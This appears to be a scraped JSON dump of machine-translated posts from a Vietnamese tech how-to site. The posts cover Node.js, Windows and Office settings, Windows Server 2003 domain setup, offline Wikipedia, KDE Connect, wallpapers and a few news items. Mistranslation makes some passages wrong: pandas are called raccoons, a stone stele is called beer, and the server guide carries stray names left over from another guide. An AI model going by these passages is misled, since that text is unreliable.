. writeHead ( 200 , { 'Content-Type' : 'text/plain' }); // Gui phan than cua response, bao gom \"Hello World\" response . end ( 'Hello Worldn' ); }). listen ( 8081 ); // Man hinh Console se in thong bao console . log ( 'Server dang chay tai http://127.0.0.1:8081/' );  Start Server and see the results as follows:\n$ node main . js  Check the result. Server is turned on.\nServer is running http://127.0.0.1:8081/\nCreate a request to a Node.js Server Open http://127.0.0.1:8081/ in any browser and see the results:.\n  Congratulations on creating the first Node.js application successfully. Follow up on the next chapters to get a deeper understanding of Node.js.\nAccording to Tutorialspoint\nPrevious lesson: Module in Node.js\nNext article: REPL Terminal in Node.js\nncG1vNJzZmismaXArq3KnmWcp51ktaa4y6hksKeiobFuvNGonquZnWK2r3nNqJueoqM%3D\n","link":"/post/hello-world-program-in-node-js/","section":"post","tags":null,"title":"Hello World program in Node.js"},{"body":"For example, if your mouse pointer is too hard to see, following the action on the screen will definitely not be good. This article will show you how to resize and customize the mouse pointer style in Windows 11.\nFirst you need to open the Windows Settings application by pressing Windows + i key combination , or right-click the Start button at the far left of the taskbar and select ' Settings ' from the list that appears.\n  When the Settings application interface opens, look to the list on the left and click on the ' Accessibility ' item . In the \" Accessibility \" settings screen , which appears respectively on the right, click on the item ' Mouse Pointer and Touch '.\n  On the Mouse Pointer and Touch settings screen, you can easily make the mouse pointer on the screen larger or smaller by using the \" Size \" slider . Click the circle on the slider and drag and drop until the pointer is the size you want.\n  To change the style of the mouse pointer, use the options listed in the 'Mouse Pointer Style' section. You will have 4 options: ' White ,' ' Black ,' ' Inverted ,' ' Custom . With the following specific meanings:\nWhite : Your mouse pointer will be white with a black outline. This is the default option. Black : Your mouse pointer will be black with a white outline. Inverted : The mouse pointer will automatically change to the opposite color of the areas you hover over. For example, if you hover over an area with a black background, the mouse pointer will automatically turn white and vice versa. Custom : You can choose the color of the mouse pointer to your liking.   If you click on the ' Custom ' option (the cursor is colored), you can select the cursor color from the ' Recommended Colors ' list by clicking each color option you want. Or you can also choose a custom color by tapping the plus button (' + ') next to ' Choose another color '.\n  After you have set up the mouse pointer as you like, close Settings. Your changes have been automatically saved.\nIn case you need to adjust the mouse pointer size or style, just go back to the Settings app and navigate to Accessibility \u0026gt; Mouse Pointer and Touch and make the customizations as outlined above.\nWindows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lnaTCtLGMqaaipqSav26%2FyLOcZpmemXq0wNilnGahnmLEqrrDqK6sZWFm\n","link":"/post/how-to-change-the-mouse-pointer-size-and-style-in-windows-11/","section":"post","tags":null,"title":"How to change the mouse pointer size and style in Windows 11"},{"body":"To send large videos over the network, users are forced to compress the capacity, or use some websites that support sending large files like Fsend, for example. Video Smaller is a website that reduces video size, allowing you to download videos up to 500MB for compression. The website supports MP4, AVI, MPEG, MOV video formats, popular video formats so users can easily upload files to reduce the video size. The following article will show you how to reduce the video size on Video Smaller.\nHow to send an email that exceeds the size limit? How to use Firefox Send to share large files 5 ways to reduce video capacity for iPhone How to compress files on YouCompress online Instructions for reducing video size on Video Smaller Step 1:\nUsers access the link below to enter Video Smaller homepage.\nhttp://www.videosmaller.com/  At this interface, click the Browse button to download the video that needs to be reduced.\n  Also under Video Smaller, there is an option to adjust the video size in the Scale (reduce) video with section . In addition, if you need to remove the audio from the video, select Remove audio from the video .\n  Step 2:\nAfter uploading the video to the Video Smaller home page and setting up some other options, click Upload Video to reduce the video size.\n  Step 3:\nVideo Smaller then proceeds to process and reduce the video size. The process of processing and compressing videos takes place quickly or slowly depending on the amount of video we upload.\nWhen the process of compressing video successfully, users will receive a Complete notification with reduced video size. Click Download File to download the reduced size video to your computer.\n  Video Smaller helps you to reduce video size quickly, support popular video formats today. Besides, the website also has the option to reduce the video frame size and remove the audio from the video.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufor2zsdKsZK%2BhlJq8bsPIrZ%2BoraRiwLCy07CYq50%3D\n","link":"/post/how-to-compress-video-without-software/","section":"post","tags":null,"title":"How to compress video without software"},{"body":"In Windows Server 2012, creating OU and group accounts is almost the same as in previous versions.\nTo create an OU user, follow the steps below.\nStep 1 - Go to Server Manager → Tools → Active Directory Users and Computers.\n  \nStep 2 - To create an OU named Management . Right-click the domain in Active Directory Users and Computers , select New and click on the Organizational Unit .\n  Step 3 - Type Management to name the OU. Select Protect container from accidental deletion option . This option will protect this object from being accidentally deleted.\n  Step 4 - To create a user, right-click Management OU → click New → and then click User .\n  Step 5 - Enter user data in the fields → then click Next .\n  Step 6 - Now enter the password. Check the tick box → Users must change the password the next time they log in. The user will be forced to change the password when logging in → Click Next → and then click Finish .\n  See more:\nInstructions on how to use PowerShell in Windows Server 2012 Remote management on Windows Server 2012 with Remote Management Service Install Role, configure role on Windows Server 2012 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYydmmaZk5i8trrTrGSipl2stq%2BwzrCqZquVp8OmvoxrZ2pq\n","link":"/post/how-to-create-dc-accounts-in-windows-server-2012/","section":"post","tags":null,"title":"How to create DC Accounts in Windows Server 2012"},{"body":"VLOOKUP error makes many Microsoft Excel users sweat every time they think of it. If you're not too familiar with Excel, VLOOKUP is one of the most difficult functions.\nThe purpose of VLOOKUP is to search and return data from another column in an Excel spreadsheet. Unfortunately, if you give the wrong VLOOKUP formula, Excel will return the error to you. Let's look at some common VLOOKUP errors and explain how to fix them.\nError # N / A One of the most common VLOOKUP errors in Excel is the # N / A error. This error occurs when VLOOKUP cannot find the value you are looking for.\nThe search value may not exist in the data range or you may have used the wrong value. If you see an N / A error, double-check the value in the VLOOKUP formula.\nIf the value is correct, then your search value does not exist. This assumes you use VLOOKUP to find exact matches, with the range_lookup argument set to FALSE.\nIf the range_lookup argument at the end of the VLOOKUP formula is missing or set to TRUE, VLOOKUP will return the # N / A error if your data range is not sorted in ascending order.\nIt will also return the # N / A error if the search value is less than the lowest value in the range.\nOther common reasons for # N / A errors include using the search column that is not the furthest left column and using cell references for search values ​​containing numbers but formatted as text or contains redundant characters such as spaces.\nError #VALUE The #VALUE error is often an indication that the formula containing the VLOOKUP function is incorrect in some way.\nIn most cases, this is usually due to the cell you are referencing as the search value. The maximum size of a VLOOKUP lookup value is 255 characters.\nIf you handle cells containing longer strings of characters, VLOOKUP will not be able to handle them.\nThe only workaround for this is to replace the VLOOKUP formula with the combined INDEX and MATCH formula.\nThis error will also appear if you have used an incorrect reference to the cells in your formula, especially if you are using data ranges from another workbook.\nThe workbook reference needs to be enclosed in square brackets for the formula to work correctly.\nIf you get the #VALUE error, double-check the VLOOKUP formula to verify that cell references are correct.\nError #NAME If your VLOOKUP error is not #VALUE or # N / A, it could be a #NAME error. Do not panic! This is the easiest VLOOKUP error to fix.\nA #NAME error appears when you misspell a function in Excel, whether it's VLOOKUP or another function like SUM. Click on your VLOOKUP box and double-check that you really spelled VLOOKUP correctly.\nIf there are no other problems, your VLOOKUP formula will work when this error is fixed.\nFunctions like VLOOKUP will change your life. At the very least, it will turn Excel into a more powerful tool for data analysis.\nIf VLOOKUP is not right for you, take advantage of these top Excel functions instead.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq3uM6ooq6oXZq%2Fs7vRZqCnZZWtsKa4\n","link":"/post/how-to-fix-vlookup-error-in-excel/","section":"post","tags":null,"title":"How to fix VLOOKUP error in Excel"},{"body":"When starting to become familiar with the Word and Excel tools of Microsoft Office 2013, the default English interface will give users a bit of difficulty in the process of processing content as well as performing operations. Especially for those who are not fluent in foreign languages, the use of Word or Excel with English interface is more difficult. The best way is to install the Vietnamese installer for Office 2013 to convert the language used from English to Vietnamese. In the article below we will guide you how to read Vietnamese installation for Office 2013.\nDownload Microsoft Office 2013 Step 1: First of all, we will download the Vietnamese language installer for Office 2013 according to the link below. Users need to determine which computer is using 32bit or 64 bit to download the right link.\nVietnamese 2013 Office 32bit installer Office 2016 64bit Vietnamese installer Step 2: Next, we will proceed to launch the downloaded file. At the Microsoft terms of use interface, we will tick the I accept the terms of this agreement , then click Continue .\n  Step 3: To the new interface, users will have 2 options that are Install now to proceed to change the language for all office programs in the Office 2013 set. Or Customize to install Vietnamese for some writing tools room only, depending on the user choose.\n  Step 4: When the user has finished choosing the Vietnamese language installation method, you wait for the installation process on the machine.\n  Step 5: The installation process is completed, you will receive a successful Vietnamese language installation notification for Office. Click Close to exit the installation window.\n  Step 6: We open any office tool in the Office 2013 suite. At the first interface, users will click Open Other Documents .\n  Step 7: To the new interface, we click Options in the menu list on the left.\n  Step 8: In the Word Options interface, we will click on the Language item on the left side of the interface. Continue to look to the right, in the Choose Editing Language section, the user will click on Vietnamese [Vietnamese] and click the Set as Default button.\n  When you receive the notification window as shown below, the reader click Yes to agree to change.\n  Step 9: Back to Language interface on Word Options, we continue to choose Choose Display and Help Languages also select interface language and help language is Vietnamese [Vietnamese] , then click on Set as Default to set the default language.\nFinally click OK at the bottom of the interface to save the above language changes.\n  Step 10: The notification interface to restart Office is displayed so that the above changes take effect, click OK .\n  When you open Word or Excel, the interface and options are changed to Vietnamese language.\n  Thus, the task of writing documents or calculating data tables will now be simpler when the Office interface has been transferred to Vietnamese. In case the user wants to switch back to English, also access Language and proceed to change the language in the Choose Editing Language section and Choose Display and Help Languages ​​as when changing to Vietnamese according to the steps above is to be.\nRefer to the following articles: The procedure to open Microsoft Office 2013/2016 in Safe Mode Instructions to turn off Protected View feature in Office 2013 Trick to customize the Quick Access Toolbar on Office 2013 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmraKdpKOurrHSnmSfp6Jiuqqv0aiqqJ6kYrynssicnGZqYGaAbr%2FUoque\n","link":"/post/how-to-install-vietnamese-for-microsoft-office-2013-suite/","section":"post","tags":null,"title":"How to install Vietnamese for Microsoft Office 2013 suite"},{"body":"Why do you have to download Wikipedia to your computer? Why do people want to download Wikipedia? The site is only a few clicks away and one of the best things about Wikipedia is that it is updated quickly. Therefore, an offline copy will become obsolete quite quickly.\n However, even the best internet connections are not 100% reliable. There are also lots of people living in parts of the world who can't access the internet or have super slow speeds.\nThere are many different ways to view Wikipedia without the internet and here are some.\nHow to download Wikipedia to your computer This is the simplest way to get an offline copy of Wikipedia. Wikipedia backs up its entire database by month. At the time of writing, this is about 16 GB in compressed format, 60 GB uncompressed. This number is quite small compared to the capacity of today's hard drives.\n There are two parts to using Wikipedia data files. First, you need software to read the special format in which the Wiki is stored. Two of them are XOWA and WikiTaxi.\nXowa is probably the most popular option and it is also quite easy to use. Just download and run the program. Then use the menu option to download the Wiki data you want, including English Wikipedia. Xowa also provides an even easier to use Android application.\nWikiTaxi is also a good choice, but you need to download an XML file from the Wikipedia page. It should be noted that WikiTaxi does not support images.\nOnce you have the reader, you need to extract the archive file of Wikipedia. Xowa can also directly read compressed archives.\nUse Kiwix to read Wikipedia files Like Xowa or WikiTaxi, Kiwix is ​​an application that provides a way to read Wikipedia downloads and display them just like on a web browser.\n Kiwix will convert offline files into its own special format and keep them up to date. You can download these files manually from the website or use different applications to download them directly. There is a desktop application version of Kiwix, but it is still a beta application.\nLuckily, the tablet and smartphone apps work quite well. You can put content files on an SD card if your phone or tablet has limited internal storage.\nWikipedia downloads the full-fat ZIM file on the Kiwix website, which weighs 78GB, but has a version that removes all images, reducing the size of 5 million + articles to only 36 GB.\nKiwix is ​​also not limited to Wikipedia. You can download offline versions of various Wikimedia projects.\nUse the Wikipedia App The Wikipedia application has an integrated feature that allows you to save and synchronize articles that interest you. This is not a complete backup, but it is still quite convenient.\n When you have an internet connection, all you have to do is highlight the articles that interest you. They will be saved to the local memory and you can read them conveniently. So for example, you can mark all the articles you need while using the school's WiFi and then save mobile data when reviewing them later.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRurculZLChm569prDImmSaqqSesK2x0mauoqyYpMK1ecCnZKKmpJq%2Fr7HTZpqopp6asLW1zqc%3D\n","link":"/post/how-to-view-all-wikipedia-articles-without-an-internet-connection/","section":"post","tags":null,"title":"How to view all Wikipedia articles without an internet connection"},{"body":"Network management documentation Server 2003 as details of how to install, create a companion server in case the main server is malfunctioning, create a domain, join the client to the domain, the conection {remote desktop from the client data to server}, set ADSL router parameters to server, turn off 1 working machine immediately.\n- If you add more computers to the domain, add a Switch to ensure the best data transfer and internet access. - How much number of machines should I use ADSL at a speed (eg about 50 machines, 70 machines, more than 100 machines). With the above question, we will respond in turn as follows: Details how to install the domain and install the ADSL router parameters to the server: You must first Install Windows Server 2003 Follow these steps on Computer to act as Domain Controller 1. Insert the installation CD into the CD-ROM, restart Computer. Allow booting from CD 2. Windows setup program starts to load the Files for the installation. Press Enter when the Welcome to Setup image appears 3. Read the License terms on the Windows Licensing Agreement , then press F8 to agree to the terms of the MS 4. On Windows Server 2003, the screen to create partitions on the hard disk appears, first create a Partition for installing the Operating System. Press ENTER. 5. On Windows Server 2003, select Format the partition using the NTFS file system Press ENTER. 6. Windows Setup program proceeds to format the hard disk, will wait a few minutes for this process to complete 7. Computer will restart itself when the File copy process on the hard disk is complete 8. Computer will restart and boot the graphical interface. Click Next on the Regional and Language Options page 9. On the Personalize Your Software page, enter your Name and Organization Example: Name: Server 2003 Organization: Quan Tri Mang 10. On the Product Key page enter the 25 digits of the Product Key you have and click Next. 11. On the Licensing Modes page, select the correct option that is applied to the Windows Server 2003 version that you installed. If installing License in per server licensing mode, include the number of connections that you have licensed. Click Next. 12. On the Computer Name and Administrator Password page, enter the name of the Computer, for example Server2003, this name is filled in the Computer Name text box. Enter the Administrator password and confirm the password in Confirm password (remember the administrator password carefully, otherwise you cannot log on to the Server for the next operation). Click Next. 13. On the Date and Time Settings page, set the correct Vietnam Date, Time and Time Zone (if you are in Vietnam), note the time zone is GMT + 7 Click Next. 14. On the Networking Settings page, select Custom settings option . 15. On the Network Components page, select Internet Protocol (TCP / IP) entry in Components and click Properties. 16. In the Internet Protocol (TCP / IP) Properties dialog box , set the following parameters: IP address: 10.0.0.2. Subnet mask: 255.255.255.0. Default gateway: 10.0.0.1 (Note Default Gateway 10.0.0.1 is also the IP address of ADSL Router Ethernet Card). Preferred DNS server: 10.0.0.2 and Additional DNS server are the addresses that the ISP provided to the ADSL Router, for example: 203.162.4.1 17. Click OK in the Advanced TCP / IP Settings dialog box . 18. Click OK in the Internet Protocol (TCP / IP) Properties dialog box . 19. Click Next on the Networking Components page. 20. Accept the default option of the Network environment as Workgroup (we will create the Domain environment later, promote) this machine becomes a Domain controller and is also a member of the Domain. 21. The installation process continues and when Finish, Computer will restart automatically 22. The first log-on to Windows Server 2003 uses the password we created for the Administrator account during Setup. 23. First appearing on the screen is the Manage Your Server page, you should check \" Don't display this page at logon checkbox \" and close the Window window. The next step is the process of installing and configuring DNS before running the dcpromo utility The next step is to install the Domain Naming System (DNS) server on this server. This is necessary because Active Directory Service operates on Domain Controllers, controlling all Domains requires DNS server service for querying needs such as hostname, registration of records (A, PTR, SRV records, etc.). ). We will install the DNS server and then raise this Computer role to a Domain Controller, and this DNS server will serve the query for the entire Domain. Perform the following steps to install the DNS server \n 1. Click Start, Control Panel. Click Add or Remove Programs . 2. In Add or Remove Programs , click Add / Remove Windows Components 3. In Windows Components , see the list of Components and click Networking Services entry\u0026gt; Click Details. 4. Check the Domain Name System (DNS) checkbox and click OK. 5. Click Next in Windows Components . 6. Click Finish on the Completing the Windows Components Wizard . 7. Close Add or Remove Programs The DNS server is installed, Admin needs to include specific DNS parameters for the name query operation, specifically creating two Forward and Reverse lookup zones . Perform the following steps to configure DNS server: \n 1. Click Start and then click Administrative Tools\u0026gt; Select DNS . 2. In the working table of DNS ( DNS console ), expand server name (Server2003), then click on Reverse Lookup Zones . Right click Reverse Lookup Zones and select New Zone. 3. Click Next on Welcome to the New Zone Wizard . 4. On Zone Type, select Primary zone option and click Next. 5. On the Reverse Lookup Zone Name page , select Network ID option and Enter 10.0.0 in the text box\u0026gt; Click Next. 6. Accept the default selection on the Zone File page , and click Next. 7. On Dynamic Update page , select Allow both nonsecure and secure dynamic updates option . Click Next. 8. Click Finish on the Completing the New Zone Wizard page . Next we create Forward lookup zone for the Domain that this Computer will be the Domain Controller. Proceed with the following steps: 1. Right click Forward Lookup Zone and click New Zone . 2. Click Next on the Welcome to the New Zone Wizard page . 3. On the Zone Type page , select Primary zone option and click Next. 4. On the Zone Name page , enter the name of the forward lookup zone in the Zone name text box . In this example, the name of the zone is quantrimang.com , which matches the name of the Domain that will be created later. Put quantrimang.com in the text box. Click Next. 5. Accept the default settings on the Zone File page and click Next. 6. On Dynamic Update page , select Allow both nonsecure and secure dynamic updates . Click Next. 7. Click Finish on the Completing the New Zone Wizard page . 8. Expand the Forward Lookup Zones and click on MSFirewall.org zone . Right click on quantrimang.com and Click New Host (A). 9. In the New Host dialog box , enter the correct Server2003 in Name ( uses parent domain name if blank ) text box. In the IP address text box , fill in 10.0.0.2 . Check the \" Create associated pointer (PTR) record checkbox \". Click Add Host . Click OK in the DNS dialog box to notify that (A) Record has been created. Click Done in the New Host text box . 10. Right click on quantrimang.com forward lookup zone and click Properties. Click Name Servers tab. Click exchange2003be entry and click Edit. 11. In the Server fully qualified domain name (FQDN) text box, enter the full name of Domain controller computer as Server2003 . quantrimang.com . Click Resolve. Notice that the Server IP address appears in the IP address list . Click OK. 12. Click Apply and then click OK on quantrimang.com Properties dialog box . 13. Right click on DNS server name Server2003 , select All Tasks . Click Restart. 14. Close DNS console. Now this Computer is ready to take on the role of a Domain Controller in Domain quantrimang.com Perform the following steps to create the Domain and upgrade this server to the Domain's first Domain Controller Install First Domain Controller 1. Click Start and click Run. 2. In the Run dialog box, type dcpromo in the Open text box and click OK. 3. Click Next on the Welcome to the Active Directory Installation Wizard page . 4. Click Next on the Operating System Compatibility page . 5. On the Domain Controller Type page , select Domain controller for a new domain option and click Next. 6 On the Create New Domain page , select Domain in a new forest option and click Next. 7. On the New Domain Name page , enter the full DNS name quantrimang.com text box and click Next. 8. On the NetBIOS Domain Name page (NetBIOS name of the Domain to support Windows OS- like the old Windows NT and WINDOWS 9x series, when these clients want to transact with the Domain), accept the default NetBIOS name In the example This is tuoitre. Click Next. 9. Accept the default settings on Database and Log Folders page and click Next. 10. On the Shared System Volume page , accept the default storage location and click Next. 11. On the DNS Registration Diagnostics page , select I will correct the problem later by configuring DNS manually (Advanced). Click Next. 12. On the Permissions page , select Permissions compatible only with Windows 2000 or Windows Server 2003 operating system option . Click Next. 13. In Directory Services Restore Mode Administrator Password page (recovery mode for Domain Controller when this DC is having problems, When DC offline, enter this troubleshoot mode by Restart Computer, select F8), enter Restore Mode Password and then Confirm password . (Administrators should not confuse passwords in this mode with Domain Administrator Password, control the operation of DCs or Domains). Click Next. 14. On the Summary page , click Next. 15. Now it is time for Computer to need Restart so that the parameters have just installed Active 16. Click Finish on the Completing the Active Directory Installation Wizard page , completing the installation. 17. Click Restart Now on the Active Directory Installation Wizard page . 18. Log-on to the Domain Controller using the Administrator account. Create a companion server to prevent the main server from having trouble: 1. Configure Server address as follows: IP address: 10.0.0.3. Subnet mask: 255.255.255.0. Default gateway: 10.0.0.1 (Note Default Gateway 10.0.0.1 is also the IP address of ADSL Router Ethernet Card). Preferred DNS server: 10.0.0.2 and Additional DNS server are the addresses that the ISP provided to the ADSL Router, for example: 203.162.4.1 Right then click My Computer, click Properties. 2. In the System Properties dialog box , click Network Identification tab. Click Properties. 3. In the Changes dialog box, click More. 4. In Primary DNS suffix of this computer text box, fill in domain name is the name of the domain (quantrimang.com) containing this Computer. If Computer is not a member of Domain, then the text box will be blank. Note: Change primary DNS suffix when domain embership changes is enabled by default. In the current example, Computer is not a member of Domain. Cancel all the dialog boxes that appear and do not configure the primary domain name at this time. 5. Restart the Server 6. Do the same as step 2, in Changes, select the Domain Text box and enter: quantrimang.com . Enter the corresponding user and password of the administrator user. 7. Restart the server and select logon to the domain The next step proceeds to install Additional domain Controller 1. Click Start and click Run. 2. In the Run dialog box, type dcpromo in the Open text box and click OK. 3. Click Next on the Welcome to the Active Directory Installation Wizard page . 4. Click Next on the Operating System Compatibility page . 5. On the Domain Controller Type page , select Additional Domain controller for an existing domain option and click Next. 6. Enter the administrator user and the following password in the domain text box enter quantrimang.com 8. On the NetBIOS Domain Name page (NetBIOS name of the Domain to support Windows OS- like the old Windows NT and WINDOWS 9x series, when these clients want to transact with the Domain), accept the default NetBIOS name In the example This is tuoitre. Click Next. 9. Accept the default settings on Database and Log Folders page and click Next. 10. On the Shared System Volume page , accept the default storage location and click Next. 11. On the DNS Registration Diagnostics page , select I will correct the problem later by configuring DNS manually (Advanced). Click Next. 12. On the Permissions page , select Permissions compatible only with Windows 2000 or Windows Server 2003 operating system option. Click Next. 13. In Directory Services Restore Mode Administrator Password page (recovery mode for Domain Controller when this DC is having problems, When DC offline, enter this troubleshoot mode by Restart Computer, select F8), enter Restore Mode Password and then Confirm password. (Administrators should not confuse passwords in this mode with Domain Administrator Password, control the operation of DCs or Domains). Click Next. 14. On the Summary page , click Next. 15. Now it is time for Computer to need Restart so that the parameters have just installed Active 16. Click Finish on the Completing the Active Directory Installation Wizard page , completing the installation. 17. Click Restart Now on the Active Directory Installation Wizard page . 18. Log-on to the Domain Controller using the Administrator account. Join the child machine to the domain 1. Open Active Directory User and Computer and then create the corresponding domain users 2. Logon to the client, and perform the same process as Creating a Companion Server in case the main Server fails. 3. Logon to the domain with the domain user has been created Remote destop and shutdown remote client: Let the remote machine and server do the following: 1. In the computer - properties - remote - select enable remote desktop on this computer 2. We can then logon to the remote enabled computers using the Remote Desktop Connnection tool. Enter the IP address of the server and client and use the administrator user to remote. After the remote successful, we can shut down the remote computer easily, via the shutdown tab in the start menu. 3. If you add more computers to your domain, how do you add switches to ensure the best data transfer and internet access? When you add a client to the domain, you need to add the corresponding switches, because each machine needs a port on the swith. For example, if you have 40 computers, you must have 2 24-port switches to accommodate 40 computers connected. 4. Number of machines and ADSL line with the right speed If there are many computers in the domain, you only need to add a switch, and ADSL transmission depends on each service provider, you can choose ADSL of FPT, Viettel, VDC . Also if the number of computers Many of you should choose ADSL package with the highest speed. to enable users in the network to browse, download and upload easily. TAM TRUNG ( MCSE, MCDBA, Lecturer SaigonCTT )\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWnnrulu9asZKydoquys3mRaWdsZZGjsW6v0Z6YrZ1dlnqjrcKkrKllo5q%2Ft7HR\n","link":"/post/install-windows-server-2003-and-create-a-backup-server/","section":"post","tags":null,"title":"Install Windows Server 2003 and create a backup server"},{"body":"Many people want to change the style for Windows 10 computers by changing the background and using the random wallpaper changer by the hour. When setting a schedule to change the wallpaper, the computer will automatically change the wallpaper randomly or in the order of the user-selected image. In this article, Network Administrator will show you how to schedule wallpaper changes on Windows 10.\nStep 1: At Windows 10 Desktop interface, click the Windows window icon and select Settings or the reader uses Windows + I key combination to open the Settings window.\n  Step 2: At the Settings interface, we click on Personalization .\n  Step 3: Next to the Personalization interface, in the left menu you read the Background item to change the wallpaper for Windows 10 computers.\n  Step 4: Looking at the interface on the right, the Background item at the bottom, you will click on the drop-down arrow and select Slideshow to activate the automatic change of wallpaper on the computer according to the selected pictures.\n  Step 5: Once in Slideshow mode, we will see Change picture every section appear. This section will allow users to set the time for the computer to automatically change the wallpaper. The maximum time to change the wallpaper on Windows 10 is 1 day and a minimum of 1 minute. Click on the arrow to select the time you want to automatically change the wallpaper.\n  Step 6: Section Picture , when clicking Browse , the user will select the folder containing the image that wants to change the wallpaper on Windows 10 computer.\n  So your computer has been changed completely in style, strange and far more toxic. The wallpaper will automatically convert according to the time we set. If you don't want to use the wallpaper change timer mode on your Windows 10 computer, we just need to return to Picture mode for wallpaper to finish.\nRefer to the following articles: Some tips to customize Taskbar on Windows 10 effectively How to save the wallpaper on Windows 10 Spotlight to your device Summary of several ways to turn off Windows 10 computer I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabmJa7qLXNoGSwoZ6ZvLi%2FjGpnZq%2BRobmxrc%2BeqWasmaKysw%3D%3D\n","link":"/post/instructions-for-changing-windows-10-wallpaper-timer/","section":"post","tags":null,"title":"Instructions for changing Windows 10 wallpaper timer"},{"body":"KDE Connect can also be used to transfer files between your devices.\n  In a nutshell, KDE Connect is a project that allows all your devices to communicate with each other. Here are some of the things KDE Connect can do:\nReceive notifications from your phone on your desktop and reply to messages Control music playback on your desktop from your phone Use your phone as a remote control for your desktop Run predefined commands on PC from connected devices. Check phone battery level from desktop Call the phone to help find the device Share files and links between devices Browse your phone from your desktop Control the volume of your desktop from your phone To achieve this, KDE Connect:\nImplement a secure communication protocol over the network and allow any developer to create plugins on it. There is a component that you install on the desktop. There is a KDE Connect client that you run on your phone. Features of KDE Connect plasmoid development You can use plasmawindowed to easily run Plasmoid (even on non-KDE environments). Set up your developer environment, then run make install, and then run plasmawindowed org.kde.kdeconnect to launch Plasmoid and see the changes.\nMobile-friendly QML App The kdeconnect-app component of the desktop version is also suitable for mobile Linux environments.\n  Desktop SMS messaging app KDE Connect has an SMS messaging client that allows you to import and view SMS messages from your computer. It supports basic features and works correctly in almost all cases. If you are interested in trying or developing, you can build it from source. It is automatically built as part of KDE Connect and exported as 'kdeconnect-sms'.\nPerfect for contributing to KDE KDE Connect is the perfect project to start contributing to KDE. You will need a basic understanding of programming concepts, the rest you can learn by doing. Experience with Android or Qt is beneficial, but not essential.\nHave a group to discuss development. You can access it from Telegram, IRC (#kdeconnect) or Matrix (#kdeconnect: kde.org). Feel free to ask any questions regarding development there.\nAll patches are submitted on Gitlab. You don't need to specify any reviewers, developers are subscribed to notifications. If this is your first patch, you should be aware that it may take some time before your patch is reviewed and you may have to make some changes several times. It's not because you're new, it's for all reviews (even for longtime contributors).\nDownload the latest KDE Connect herencG1vNJzZmismaXArq3KnmWcp51kuKWxjJymp6aVmMFusM6wpaWnkZl6tbTEZqOarJWowW63w55knKeeo7KkwIyhnKud\n","link":"/post/kde-connect-download-the-latest-kde-connect-here/","section":"post","tags":null,"title":"KDE Connect - Download the latest KDE Connect here"},{"body":"Raccoon is one of the animals that causes the most 'heartbreaking' of the earth, the image of bears with big black eyes surrounded by many people saying \"Oh, honey, I want to faint\" give \", or\" Ask the hell to be your bear \", . If you also want to watch cute bears sleeping, eating or playing, the collection of cute and beautiful panda pictures below for You are spoiled for choice. With 50 full HD panda images, sharp image quality to every detail, you can download as a computer wallpaper to enjoy watching anytime.\nBeautiful, lovely monkey monkey wallpaper for computer The most cute and adorable set of cat wallpapers Set of adorable dogs wallpapers for computers Some pictures in the most adorable panda wallpaper set for computers                                                                               Above are the most adorable and kute panda wallpapers in the world, just looking at it is all right, right. So have you chosen the best panda wallpaper for me? If not, check out some other photos and download the full HD panda collection here.\nWish you can choose the best wallpaper!\nSee more:\nShare a full HD wallpaper set with beautiful themes for your computer The Facebook cover photos are good morning, meaningful Cuong Tieu Ngu wallpaper for the phone ncG1vNJzZmismaXArq3KnmWcp51kwamxjJysrZ2jqXqxrc2dmGavkaG5sa3Pnqlmq5Wpeqe70WaaqKWgqsGmvtI%3D\n","link":"/post/the-cutest-panda-wallpaper-set-for-computers/","section":"post","tags":null,"title":"The cutest panda wallpaper set for computers"},{"body":"An active archaeological group funded by Russian billionaire Oleg Deripaska announced the discovery of an ancient Persian stele containing a sacred message from King Darius I.\nAccordingly, an ancient Persian stele was discovered at Phanagoria , an ancient Greek city, near Crimea and the Black Sea and it is a marble stele. The main material is the favorite beer of ancient Persian kings.\nThe new discovery shows that about 10 - 15% of strange and unique characters are clearly visible on the ancient Persian beer. Experts have deciphered these strange characters.\n The remaining walls of a fortress are also found in the old town of Phanagoria.(Image source: theartnewspaper).\nThe results showed that strange characters in the ancient stele may be the message that an ancient Persian king, in particular, King Darius I lived in 550-486 BC. The message reiterates the king's victory in the historic Ionian rebellion.\nIn addition, about 200 Persian royal stone inscriptions were also found in nearby Persepolis.\nHuynh Dung ( According to Theartnewspaper)\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2grJufq7KzxYyonWaZnmKur6%2FInqWtZaCav7S1wKdkrKyVobJur8CrrZ6cXZu%2FsLmMpKCnn12ZrrO11KxkomWZo3qzwdKsoJo%3D\n","link":"/post/the-discovery-of-an-ancient-persian-stele-carved-from-king-darius-i-in-russia/","section":"post","tags":null,"title":"The discovery of an ancient Persian stele carved from King Darius I in Russia"},{"body":"On December 14, news site DigiTimes said, Apple is preparing to upgrade the screen of the new MacBook Pro line to the level of \"terrible\" like Retina on iPhone 4.\n\u0026gt;\u0026gt;\u0026gt;MacBook Air keeps on 'playing' next year\n  Revealing the source of information from Apple's supply partner, DigiTimes said that the new MacBook Pro laptop in 2011 will have a screen with a resolution of up to 2.880x1.800.\nThus, the new screen will have a resolution four times higher than the 1,440x900 level of the current screen on the 15-inch MacBook Pro.\nThe remarkable upgrade will be similar to the explosion of display quality from iPhone 3GS smartphone to iPhone 4 (with upgraded resolution from 480x320 to 960x640).\nThe source added that two Taiwanese computer makers, Asus and Acer, are also planning to produce Ultrabook models with a 1,920x1,080 resolution screen next year.\nThe resolution of Ultrabook products from Asus and Acer is currently only 1,366x768.\nncG1vNJzZmismaXArq3KnmWcp51kxKq4y2aroZ1doq6krs6oomaooqR6qa3VnmSaZaKawaq6wKyrsqSVYr%2Bmv86lrK2hn6N6tK%2FRnpyn\n","link":"/post/will-the-macbook-pro-have-a-retina-style-resolution-screen/","section":"post","tags":null,"title":"Will the MacBook Pro have a Retina-style resolution screen?"},{"body":"Heroes may have many weapons and tools to help them fight bad guys, but only one deserves to drive a typical vehicle like the Batmobile. The concept of the Batmobile car is not out of date but it has certainly received many strange designs during 81 years of publication. This is understandable because Batman is a hero who always updates the latest 